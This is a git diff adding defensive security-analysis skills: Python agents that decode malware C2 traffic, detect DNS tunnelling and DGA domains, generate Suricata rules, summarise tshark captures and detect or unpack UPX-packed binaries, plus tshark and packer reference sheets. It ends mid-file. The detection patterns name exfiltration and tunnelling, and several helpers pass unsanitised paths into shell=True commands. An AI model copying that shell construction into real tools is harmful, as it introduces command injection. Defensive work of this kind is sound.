+1,245 @@ +#!/usr/bin/env python3 +"""Malware network traffic analysis agent for C2 protocol decoding and signature generation.""" + +import os +import sys +import json +import math +import subprocess +from collections import defaultdict, Counter + +try: + import dpkt + HAS_DPKT = True +except ImportError: + HAS_DPKT = False + +try: + from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, Raw + HAS_SCAPY = True +except ImportError: + HAS_SCAPY = False + + +def shannon_entropy(data): + """Calculate Shannon entropy of byte data.""" + if not data: + return 0.0 + counter = Counter(data) + length = len(data) + return -sum((c / length) * math.log2(c / length) for c in counter.values()) + + +def extract_tcp_streams(pcap_path): + """Extract TCP stream payloads grouped by conversation.""" + if not HAS_DPKT: + return {} + streams = defaultdict(list) + with open(pcap_path, "rb") as f: + pcap = dpkt.pcap.Reader(f) + for ts, buf in pcap: + try: + eth = dpkt.ethernet.Ethernet(buf) + if not isinstance(eth.data, dpkt.ip.IP): + continue + ip = eth.data + if not isinstance(ip.data, dpkt.tcp.TCP): + continue + tcp = ip.data + if len(tcp.data) > 0: + src = f"{dpkt.utils.inet_to_str(ip.src)}:{tcp.sport}" + dst = f"{dpkt.utils.inet_to_str(ip.dst)}:{tcp.dport}" + key = tuple(sorted([src, dst])) + streams[key].append({ + "ts": ts, + "src": src, + "dst": dst, + "data": tcp.data, + "data_len": len(tcp.data), + }) + except Exception: + continue + return streams + + +def analyze_payload_structure(payloads): + """Analyze payload structure to identify protocol framing.""" + if not payloads: + return {} + analysis = { + "total_payloads": len(payloads), + "sizes": [len(p) for p in payloads], + "avg_size": sum(len(p) for p in payloads) / len(payloads), + "entropy_values": [], + } + for p in payloads[:20]: + ent = shannon_entropy(p) + analysis["entropy_values"].append(round(ent, 4)) + avg_ent = sum(analysis["entropy_values"]) / len(analysis["entropy_values"]) + analysis["avg_entropy"] = round(avg_ent, 4) + analysis["likely_encrypted"] = avg_ent > 7.5 + + # Check for common header patterns + first_bytes = [p[:4] for p in payloads if len(p) >= 4] + if first_bytes: + byte_counter = Counter([b.hex() for b in first_bytes]) + most_common = byte_counter.most_common(3) + analysis["common_headers"] = [ + {"hex": h, "count": c} for h, c in most_common + ] + return analysis + + +def detect_dns_tunneling(pcap_path, entropy_threshold=3.5): + """Detect DNS tunneling in malware traffic.""" + if not HAS_SCAPY: + return [] + packets = rdpcap(pcap_path) + suspicious = [] + for pkt in packets: + if DNS in pkt and pkt[DNS].qr == 0 and DNSQR in pkt: + qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".") + parts = qname.split(".") + if len(parts) > 2: + subdomain = ".".join(parts[:-2]) + ent = shannon_entropy(subdomain.encode()) + if ent > entropy_threshold or len(subdomain) > 50: + suspicious.append({ + "query": qname, + "subdomain_length": len(subdomain), + "entropy": round(ent, 4), + "src": pkt[IP].src if IP in pkt else "?", + "qtype": pkt[DNSQR].qtype, + }) + return suspicious + + +def detect_dga_domains(pcap_path, min_length=12, entropy_threshold=3.5): + """Detect DGA (Domain Generation Algorithm) domains.""" + if not HAS_SCAPY: + return [] + packets = rdpcap(pcap_path) + dga_suspects = [] + for pkt in packets: + if DNS in pkt and pkt[DNS].qr == 0 and DNSQR in pkt: + qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".") + parts = qname.split(".") + if len(parts) >= 2: + sld = parts[-2] + if len(sld) >= min_length: + ent = shannon_entropy(sld.encode()) + if ent > entropy_threshold: + dga_suspects.append({ + "domain": qname, + "sld": sld, + "length": len(sld), + "entropy": round(ent, 4), + }) + return dga_suspects + + +def extract_http_c2(pcap_path): + """Extract HTTP-based C2 communication patterns.""" + if not HAS_DPKT: + return [] + requests = [] + with open(pcap_path, "rb") as f: + pcap = dpkt.pcap.Reader(f) + for ts, buf in pcap: + try: + eth = dpkt.ethernet.Ethernet(buf) + if not isinstance(eth.data, dpkt.ip.IP): + continue + ip = eth.data + if not isinstance(ip.data, dpkt.tcp.TCP): + continue + tcp = ip.data + if len(tcp.data) > 0: + try: + http = dpkt.http.Request(tcp.data) + requests.append({ + "timestamp": ts, + "src": dpkt.utils.inet_to_str(ip.src), + "dst": dpkt.utils.inet_to_str(ip.dst), + "method": http.method, + "uri": http.uri, + "host": http.headers.get("host", ""), + "user_agent": http.headers.get("user-agent", ""), + "content_type": http.headers.get("content-type", ""), + "body_size": len(http.body) if http.body else 0, + "body_entropy": round(shannon_entropy(http.body), 4) if http.body else 0, + }) + except (dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError): + pass + except Exception: + continue + return requests + + +def generate_suricata_signatures(http_requests, dns_tunneling): + """Generate Suricata IDS signatures from observed malware network patterns.""" + rules = [] + sid = 9100000 + seen_uris = set() + for req in http_requests: + if req["uri"] not in seen_uris: + seen_uris.add(req["uri"]) + rules.append( + f'alert http $HOME_NET any -> $EXTERNAL_NET any (' + f'msg:"MALWARE Suspected C2 HTTP {req["method"]} {req["uri"][:30]}"; ' + f'flow:established,to_server; ' + f'http.method; content:"{req["method"]}"; ' + f'http.uri; content:"{req["uri"]}"; ' + f'sid:{sid}; rev:1;)' + ) + sid += 1 + if dns_tunneling: + domains = set() + for t in dns_tunneling: + parts = t["query"].split(".") + if len(parts) >= 2: + domains.add(".".join(parts[-2:])) + for domain in list(domains)[:5]: + rules.append( + f'alert dns $HOME_NET any -> any any (' + f'msg:"MALWARE DNS Tunneling to {domain}"; ' + f'dns.query; content:"{domain}"; nocase; ' + f'sid:{sid}; rev:1;)' + ) + sid += 1 + return rules + + +if __name__ == "__main__": + print("=" * 60) + print("Malware Network Traffic Analysis Agent") + print("C2 protocol decoding, DNS tunneling, DGA detection") + print("=" * 60) + + pcap = sys.argv[1] if len(sys.argv) > 1 else None + + if pcap and os.path.exists(pcap): + print(f"\n[*] Analyzing: {pcap}") + + print("\n--- HTTP C2 Communication ---") + http_reqs = extract_http_c2(pcap) + for r in http_reqs[:10]: + print(f" {r['method']} {r['host']}{r['uri']} " + f"(body={r['body_size']}B, entropy={r['body_entropy']})") + + print("\n--- DNS Tunneling Detection ---") + tunneling = detect_dns_tunneling(pcap) + for t in tunneling[:10]: + print(f" [!] {t['query']} (len={t['subdomain_length']}, ent={t['entropy']})") + + print("\n--- DGA Domain Detection ---") + dga = detect_dga_domains(pcap) + for d in dga[:10]: + print(f" [!] {d['domain']} (sld_len={d['length']}, ent={d['entropy']})") + + print("\n--- Generated Suricata Rules ---") + rules = generate_suricata_signatures(http_reqs, tunneling) + for r in rules[:5]: + print(f" {r}") + else: + print(f"\n[DEMO] Usage: python agent.py ") diff --git a/skills/analyzing-network-traffic-with-wireshark/LICENSE b/skills/analyzing-network-traffic-with-wireshark/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-network-traffic-with-wireshark/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-network-traffic-with-wireshark/references/api-reference.md b/skills/analyzing-network-traffic-with-wireshark/references/api-reference.md new file mode 100644 index 00000000..86f40025 --- /dev/null +++ b/skills/analyzing-network-traffic-with-wireshark/references/api-reference.md @@ -0,0 +1,98 @@ +# API Reference: Wireshark and tshark + +## Live Capture +```bash +tshark -i eth0 # Capture on interface +tshark -i eth0 -w output.pcap # Write to file +tshark -i eth0 -a duration:60 # Capture for 60 seconds +tshark -i eth0 -f "port 80" # BPF capture filter +tshark -D # List interfaces +``` + +## Display Filters (Read Mode) +```bash +tshark -r capture.pcap -Y "" +``` + +### Common Filters +| Filter | Purpose | +|--------|---------| +| `ip.addr == 10.0.0.5` | Traffic to/from IP | +| `tcp.port == 443` | Traffic on port 443 | +| `http.request` | HTTP requests only | +| `dns.qr == 0` | DNS queries only | +| `tls.handshake.type == 1` | TLS Client Hello | +| `tcp.flags.syn == 1 && tcp.flags.ack == 0` | SYN-only | +| `frame.len > 1500` | Large frames | +| `tcp.analysis.retransmission` | Retransmissions | +| `icmp` | ICMP traffic | + +## Field Extraction +```bash +tshark -r capture.pcap -T fields \ + -e frame.time -e ip.src -e ip.dst -e tcp.dstport \ + -E separator="," -E header=y +``` + +### Common Fields +| Field | Description | +|-------|-------------| +| `frame.time` | Packet timestamp | +| `ip.src` / `ip.dst` | Source/destination IP | +| `tcp.srcport` / `tcp.dstport` | TCP ports | +| `http.request.method` | HTTP method | +| `http.host` | HTTP Host header | +| `http.request.uri` | Request URI | +| `http.user_agent` | User-Agent | +| `dns.qry.name` | DNS query name | +| `tls.handshake.extensions_server_name` | TLS SNI | +| `tls.handshake.ja3` | JA3 fingerprint | + +## Statistics +```bash +tshark -r capture.pcap -q -z conv,ip # IP conversations +tshark -r capture.pcap -q -z endpoints,ip # IP endpoints +tshark -r capture.pcap -q -z io,stat,60 # I/O per minute +tshark -r capture.pcap -q -z io,phs # Protocol hierarchy +tshark -r capture.pcap -q -z http,tree # HTTP stats +tshark -r capture.pcap -q -z dns,tree # DNS stats +tshark -r capture.pcap -q -z expert # Expert info +``` + +## Object Export +```bash +tshark -r capture.pcap --export-objects "http,/output/dir" +tshark -r capture.pcap --export-objects "smb,/output/dir" +tshark -r capture.pcap --export-objects "tftp,/output/dir" +tshark -r capture.pcap --export-objects "imf,/output/dir" +``` + +## Stream Following +```bash +tshark -r capture.pcap -z follow,tcp,ascii,0 +tshark -r capture.pcap -z follow,http,ascii,0 +tshark -r capture.pcap -z follow,tls,ascii,0 +``` + +## Wireshark GUI Shortcuts + +| Shortcut | Action | +|----------|--------| +| `Ctrl+F` | Find packet | +| `Ctrl+G` | Go to packet | +| `Ctrl+Shift+E` | Export objects | +| `Ctrl+H` | Follow stream | + +## editcap - PCAP Manipulation + +```bash +editcap -A "2024-01-15 09:00" -B "2024-01-15 10:00" in.pcap out.pcap # Time filter +editcap -c 1000 large.pcap split.pcap # Split into 1000-packet files +editcap -F pcap in.pcapng out.pcap # Convert format +``` + +## mergecap - Merge PCAPs + +```bash +mergecap -w merged.pcap file1.pcap file2.pcap +``` diff --git a/skills/analyzing-network-traffic-with-wireshark/scripts/agent.py b/skills/analyzing-network-traffic-with-wireshark/scripts/agent.py new file mode 100644 index 00000000..74829729 --- /dev/null +++ b/skills/analyzing-network-traffic-with-wireshark/scripts/agent.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python3 +"""Wireshark/tshark packet analysis agent for network security investigations.""" + +import subprocess +import os +import sys +import json +import re +from collections import defaultdict + + +def run_tshark(pcap_path, args): + """Execute tshark with custom arguments.""" + cmd = f"tshark -r {pcap_path} {args}" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=120) + return result.stdout.strip(), result.stderr.strip(), result.returncode + + +def capture_live(interface, output_path, duration=60, capture_filter=None): + """Start a live packet capture using tshark.""" + cmd = f"tshark -i {interface} -w {output_path} -a duration:{duration}" + if capture_filter: + cmd += f' -f "{capture_filter}"' + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=duration + 10) + return result.returncode == 0 + + +def get_capture_summary(pcap_path): + """Get overall PCAP capture statistics.""" + stdout, _, _ = run_tshark(pcap_path, "-q -z io,stat,0") + return stdout + + +def get_protocol_hierarchy(pcap_path): + """Get protocol hierarchy statistics.""" + stdout, _, _ = run_tshark(pcap_path, "-q -z io,phs") + return stdout + + +def get_conversations(pcap_path, conv_type="ip"): + """Get conversation statistics (ip, tcp, udp, ethernet).""" + stdout, _, _ = run_tshark(pcap_path, f"-q -z conv,{conv_type}") + return stdout + + +def get_endpoints(pcap_path, endpoint_type="ip"): + """Get endpoint statistics.""" + stdout, _, _ = run_tshark(pcap_path, f"-q -z endpoints,{endpoint_type}") + return stdout + + +def extract_http_requests(pcap_path): + """Extract HTTP requests with key fields.""" + stdout, _, _ = run_tshark( + pcap_path, + '-Y "http.request" -T fields -e frame.time -e ip.src -e ip.dst ' + '-e http.request.method -e http.host -e http.request.uri -e http.user_agent ' + '-E separator="|"' + ) + requests = [] + for line in stdout.splitlines(): + parts = line.split("|") + if len(parts) >= 6: + requests.append({ + "time": parts[0], + "src": parts[1], + "dst": parts[2], + "method": parts[3], + "host": parts[4], + "uri": parts[5], + "user_agent": parts[6] if len(parts) > 6 else "", + }) + return requests + + +def extract_dns_queries(pcap_path): + """Extract DNS queries and responses.""" + stdout, _, _ = run_tshark( + pcap_path, + '-Y "dns" -T fields -e frame.time -e ip.src -e ip.dst ' + '-e dns.qry.name -e dns.qry.type -e dns.flags.response ' + '-E separator="|"' + ) + queries = [] + for line in stdout.splitlines(): + parts = line.split("|") + if len(parts) >= 5: + queries.append({ + "time": parts[0], + "src": parts[1], + "dst": parts[2], + "query": parts[3], + "type": parts[4], + "is_response": parts[5] if len(parts) > 5 else "0", + }) + return queries + + +def extract_tls_info(pcap_path): + """Extract TLS handshake information including JA3 fingerprints.""" + stdout, _, _ = run_tshark( + pcap_path, + '-Y "tls.handshake.type==1" -T fields -e ip.src -e ip.dst ' + '-e tls.handshake.extensions_server_name -e tls.handshake.ja3 ' + '-E separator="|"' + ) + tls_sessions = [] + for line in stdout.splitlines(): + parts = line.split("|") + if len(parts) >= 3: + tls_sessions.append({ + "client": parts[0], + "server": parts[1], + "sni": parts[2], + "ja3": parts[3] if len(parts) > 3 else "", + }) + return tls_sessions + + +def detect_suspicious_traffic(pcap_path): + """Detect common suspicious traffic patterns.""" + findings = [] + + # Large ICMP packets (possible data exfiltration) + stdout, _, rc = run_tshark(pcap_path, '-Y "icmp && frame.len > 100" -T fields -e ip.src -e ip.dst -e frame.len') + if stdout: + findings.append({ + "type": "Large ICMP", + "description": "ICMP packets with large payloads detected", + "count": len(stdout.splitlines()), + }) + + # DNS TXT queries (possible tunneling) + stdout, _, rc = run_tshark(pcap_path, '-Y "dns.qry.type==16" -T fields -e ip.src -e dns.qry.name') + if stdout: + findings.append({ + "type": "DNS TXT Queries", + "description": "DNS TXT record queries detected", + "count": len(stdout.splitlines()), + }) + + # Non-standard HTTP ports + stdout, _, rc = run_tshark( + pcap_path, + '-Y "http && tcp.port != 80 && tcp.port != 443 && tcp.port != 8080" ' + '-T fields -e ip.src -e ip.dst -e tcp.dstport' + ) + if stdout: + findings.append({ + "type": "HTTP on non-standard port", + "description": "HTTP traffic on unusual ports", + "count": len(stdout.splitlines()), + }) + + return findings + + +def export_http_objects(pcap_path, output_dir): + """Export HTTP transferred objects.""" + os.makedirs(output_dir, exist_ok=True) + _, _, rc = run_tshark(pcap_path, f'--export-objects "http,{output_dir}"') + files = [] + for f in os.listdir(output_dir): + fpath = os.path.join(output_dir, f) + files.append({"name": f, "size": os.path.getsize(fpath)}) + return files + + +def apply_display_filter(pcap_path, display_filter, fields): + """Apply a custom display filter and extract specified fields.""" + field_str = " ".join(f"-e {f}" for f in fields) + stdout, _, _ = run_tshark( + pcap_path, f'-Y "{display_filter}" -T fields {field_str} -E separator="|"' + ) + results = [] + for line in stdout.splitlines(): + parts = line.split("|") + results.append(dict(zip(fields, parts))) + return results + + +if __name__ == "__main__": + print("=" * 60) + print("Wireshark/tshark Network Analysis Agent") + print("Packet analysis, protocol stats, artifact extraction") + print("=" * 60) + + pcap = sys.argv[1] if len(sys.argv) > 1 else None + + if pcap and os.path.exists(pcap): + print(f"\n[*] Analyzing: {pcap}") + + print("\n--- Capture Summary ---") + summary = get_capture_summary(pcap) + print(summary[:500] if summary else " No stats available") + + print("\n--- Protocol Hierarchy ---") + hierarchy = get_protocol_hierarchy(pcap) + print(hierarchy[:500] if hierarchy else " No hierarchy available") + + print("\n--- HTTP Requests ---") + http = extract_http_requests(pcap) + for r in http[:10]: + print(f" {r['method']} {r['host']}{r['uri']}") + + print("\n--- DNS Queries ---") + dns = extract_dns_queries(pcap) + queries_only = [d for d in dns if d["is_response"] == "0"] + print(f" Total DNS queries: {len(queries_only)}") + + print("\n--- TLS Sessions ---") + tls = extract_tls_info(pcap) + for t in tls[:10]: + print(f" {t['client']} -> {t['sni']} (JA3={t['ja3'][:16]}...)" if t['ja3'] else + f" {t['client']} -> {t['sni']}") + + print("\n--- Suspicious Traffic ---") + suspicious = detect_suspicious_traffic(pcap) + for s in suspicious: + print(f" [!] {s['type']}: {s['description']} ({s['count']} occurrences)") + else: + print(f"\n[DEMO] Usage: python agent.py ") diff --git a/skills/analyzing-outlook-pst-for-email-forensics/LICENSE b/skills/analyzing-outlook-pst-for-email-forensics/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-outlook-pst-for-email-forensics/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-packed-malware-with-upx-unpacker/LICENSE b/skills/analyzing-packed-malware-with-upx-unpacker/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-packed-malware-with-upx-unpacker/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md b/skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md new file mode 100644 index 00000000..fa9ca2a7 --- /dev/null +++ b/skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md @@ -0,0 +1,117 @@ +# API Reference: Packed Malware and UPX Analysis + +## UPX - Ultimate Packer for eXecutables + +### Syntax +```bash +upx -d # Decompress/unpack +upx -d -o # Unpack to new file +upx -t # Test if packed +upx -l # List compression info +upx --version # Version info +``` + +### Output Format +``` + File size Ratio Format Name + -------------------- ------ ----------- ----------- + 184320 <- 98304 53.33% win32/pe malware.exe +``` + +## pefile - Python PE Analysis + +### Usage +```python +import pefile + +pe = pefile.PE("sample.exe") + +# Section analysis +for section in pe.sections: + name = section.Name.rstrip(b"\x00").decode() + entropy = section.get_entropy() + print(f"{name}: entropy={entropy:.2f}") + +# Import analysis +for entry in pe.DIRECTORY_ENTRY_IMPORT: + dll = entry.dll.decode() + for imp in entry.imports: + print(f"{dll}: {imp.name}") + +pe.close() +``` + +### Packing Indicators +| Indicator | Threshold | +|-----------|-----------| +| Section entropy | > 7.0 (high, likely packed/encrypted) | +| Import count | < 10 (few imports suggest packing) | +| Virtual/Raw ratio | > 5x (large in-memory expansion) | +| Section names | UPX0, UPX1, .packed, .nsp | + +## Detect It Easy (DIE) - Packer Identification + +### Syntax +```bash +diec # CLI scan +diec -j # JSON output +``` + +### Output +``` +PE32 executable + Packer: UPX(3.96)[NRV2B_LE32,best] + Compiler: MSVC(2019) +``` + +## PEiD - Packer Identification (Legacy) + +### Packer Signatures Database +| Packer | Section Names | Magic Bytes | +|--------|---------------|-------------| +| UPX | UPX0, UPX1, UPX2 | `UPX!` at end of file | +| ASPack | .aspack, .adata | N/A | +| PECompact | .pec1, .pec2 | N/A | +| Themida | Various | Encrypted sections | +| VMProtect | .vmp0, .vmp1 | Virtualized code | + +## PEStudio - Static PE Analysis + +### Key Indicators +| Check | Description | +|-------|-------------| +| Entropy | Section-level entropy analysis | +| Imports | API import analysis | +| Strings | Embedded string extraction | +| Signatures | Packer/compiler identification | +| Virustotal | Hash-based lookup | + +## x64dbg / x32dbg - Dynamic Unpacking + +### Generic Unpacking Steps +``` +1. Set breakpoint on VirtualAlloc / VirtualProtect +2. Run until breakpoint +3. Check memory map for new RWX regions +4. Step until original entry point (OEP) reached +5. Dump memory at OEP using Scylla plugin +6. Fix import table with Scylla +``` + +### Key API Breakpoints +| API | Purpose | +|-----|---------| +| `VirtualAlloc` | Memory allocation for unpacked code | +| `VirtualProtect` | Change memory protection (RWX) | +| `LoadLibraryA` | Load DLLs for import resolution | +| `GetProcAddress` | Resolve API addresses | +| `NtWriteVirtualMemory` | Write unpacked code to memory | + +## Entropy Interpretation + +| Range | Interpretation | +|-------|---------------| +| 0-1 | Nearly empty/uniform data | +| 1-5 | Normal code/data | +| 5-7 | Compressed or obfuscated | +| 7-8 | Encrypted or packed (maximum ~8.0) | diff --git a/skills/analyzing-packed-malware-with-upx-unpacker/scripts/agent.py b/skills/analyzing-packed-malware-with-upx-unpacker/scripts/agent.py new file mode 100644 index 00000000..4f09b678 --- /dev/null +++ b/skills/analyzing-packed-malware-with-upx-unpacker/scripts/agent.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python3 +"""Packed malware analysis agent for UPX and generic packer detection and unpacking.""" + +import subprocess +import os +import sys +import hashlib +import struct +import math +from collections import Counter + +try: + import pefile + HAS_PEFILE = True +except ImportError: + HAS_PEFILE = False + + +def compute_hashes(filepath): + """Compute file hashes.""" + md5 = hashlib.md5() + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + md5.update(chunk) + sha256.update(chunk) + return {"md5": md5.hexdigest(), "sha256": sha256.hexdigest()} + + +def calculate_entropy(data): + """Calculate Shannon entropy of binary data.""" + if not data: + return 0.0 + counter = Counter(data) + length = len(data) + return round(-sum((c / length) * math.log2(c / length) for c in counter.values()), 4) + + +def detect_upx(filepath): + """Check for UPX packing signatures in the binary.""" + indicators = [] + with open(filepath, "rb") as f: + data = f.read() + + if b"UPX!" in data: + indicators.append("UPX! magic string found in binary") + if b"UPX0" in data: + indicators.append("UPX0 section name found") + if b"UPX1" in data: + indicators.append("UPX1 section name found") + if b"UPX2" in data: + indicators.append("UPX2 section name found") + + # Check for corrupted/modified UPX headers + upx_pos = data.find(b"UPX!") + if upx_pos != -1: + # UPX version info follows the magic + if upx_pos + 24 <= len(data): + version_byte = data[upx_pos + 4] + indicators.append(f"UPX version byte: 0x{version_byte:02X}") + return indicators + + +def detect_generic_packing(filepath): + """Detect generic packing indicators using PE section analysis.""" + if not HAS_PEFILE: + return {"error": "pefile not installed: pip install pefile"} + try: + pe = pefile.PE(filepath) + except pefile.PEFormatError: + return {"error": "Not a valid PE file"} + + indicators = [] + sections = [] + high_entropy_count = 0 + + for section in pe.sections: + name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace") + entropy = section.get_entropy() + raw_size = section.SizeOfRawData + virtual_size = section.Misc_VirtualSize + sections.append({ + "name": name, + "entropy": round(entropy, 4), + "raw_size": raw_size, + "virtual_size": virtual_size, + "ratio": round(virtual_size / raw_size, 2) if raw_size > 0 else 0, + }) + if entropy > 7.0: + high_entropy_count += 1 + indicators.append(f"High entropy section: {name} ({entropy:.2f})") + if virtual_size > raw_size * 5 and raw_size > 0: + indicators.append(f"Suspicious size ratio in {name}: virtual/raw = {virtual_size/raw_size:.1f}x") + + imports = [] + if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"): + for entry in pe.DIRECTORY_ENTRY_IMPORT: + dll_name = entry.dll.decode("utf-8", errors="replace") + func_count = len(entry.imports) + imports.append({"dll": dll_name, "functions": func_count}) + + total_imports = sum(i["functions"] for i in imports) + if total_imports < 10: + indicators.append(f"Very few imports ({total_imports}) - typical of packed binaries") + + # Check for LoadLibrary/GetProcAddress (runtime import resolution) + import_names = [] + if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"): + for entry in pe.DIRECTORY_ENTRY_IMPORT: + for imp in entry.imports: + if imp.name: + import_names.append(imp.name.decode("utf-8", errors="replace")) + if "LoadLibraryA" in import_names and "GetProcAddress" in import_names: + indicators.append("LoadLibraryA + GetProcAddress present (runtime import resolution)") + + pe.close() + return { + "sections": sections, + "imports": imports, + "total_imports": total_imports, + "high_entropy_sections": high_entropy_count, + "indicators": indicators, + "likely_packed": high_entropy_count > 0 or total_imports < 10, + } + + +def unpack_upx(filepath, output_path=None): + """Attempt to unpack a UPX-packed binary.""" + if output_path is None: + output_path = filepath + ".unpacked" + # First try standard UPX decompression + cmd = f"upx -d -o {output_path} {filepath}" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True) + if result.returncode == 0: + return True, "Standard UPX unpack succeeded", output_path + + # If standard fails, try fixing UPX headers + return False, result.stderr.strip(), None + + +def fix_upx_headers(filepath, output_path): + """Attempt to fix corrupted UPX magic bytes for unpacking.""" + with open(filepath, "rb") as f: + data = bytearray(f.read()) + + # Look for known UPX section names that might be renamed + modified = False + # Common modifications: UPX0/UPX1 renamed to something else + for i in range(len(data) - 3): + # Look for section header pattern near typical PE section table location + if data[i:i+3] in [b"UP0", b"UP1", b"UX0", b"UX1"]: + # Might be modified UPX section name + pass + + # Fix UPX! magic if corrupted + for i in range(len(data) - 4): + if data[i:i+2] == b"UX" and data[i+2:i+4] == b"!\x00": + data[i:i+3] = b"UPX" + modified = True + + if modified: + with open(output_path, "wb") as f: + f.write(data) + return True + return False + + +def compare_packed_unpacked(packed_path, unpacked_path): + """Compare packed vs unpacked binary properties.""" + if not HAS_PEFILE: + return {} + comparison = {} + for label, path in [("packed", packed_path), ("unpacked", unpacked_path)]: + try: + pe = pefile.PE(path) + imports = 0 + if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"): + for entry in pe.DIRECTORY_ENTRY_IMPORT: + imports += len(entry.imports) + sections = len(pe.sections) + pe.close() + comparison[label] = { + "size": os.path.getsize(path), + "sections": sections, + "imports": imports, + "sha256": compute_hashes(path)["sha256"], + } + except Exception as e: + comparison[label] = {"error": str(e)} + return comparison + + +if __name__ == "__main__": + print("=" * 60) + print("Packed Malware Analysis Agent") + print("UPX detection, packer identification, automated unpacking") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + + if target and os.path.exists(target): + print(f"\n[*] Analyzing: {target}") + hashes = compute_hashes(target) + print(f"[*] SHA-256: {hashes['sha256']}") + print(f"[*] Size: {os.path.getsize(target)} bytes") + + print("\n--- UPX Signature Check ---") + upx_indicators = detect_upx(target) + for ind in upx_indicators: + print(f" [!] {ind}") + + print("\n--- Generic Packing Analysis ---") + packing = detect_generic_packing(target) + if "error" not in packing: + print(f" Likely packed: {packing['likely_packed']}") + print(f" Total imports: {packing['total_imports']}") + print(f" High entropy sections: {packing['high_entropy_sections']}") + for ind in packing.get("indicators", []): + print(f" [!] {ind}") + print("\n Sections:") + for s in packing.get("sections", []): + flag = " [HIGH]" if s["entropy"] > 7.0 else "" + print(f" {s['name']:10s} entropy={s['entropy']:.2f} " + f"raw={s['raw_size']} virt={s['virtual_size']}{flag}") + + if upx_indicators: + print("\n--- UPX Unpacking ---") + success, msg, output = unpack_upx(target) + if success: + print(f" [OK] {msg}") + print(f" [*] Unpacked file: {output}") + print("\n--- Comparison ---") + comp = compare_packed_unpacked(target, output) + for label, data in comp.items(): + if "error" not in data: + print(f" {label}: size={data['size']}, " + f"sections={data['sections']}, imports={data['imports']}") + else: + print(f" [FAIL] {msg}") + print(" [*] Try fixing UPX headers or use dynamic unpacking with a debugger") + else: + print(f"\n[DEMO] Usage: python agent.py ") diff --git a/skills/analyzing-pdf-malware-with-pdfid/LICENSE b/skills/analyzing-pdf-malware-with-pdfid/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-pdf-malware-with-pdfid/LICENSE @@ 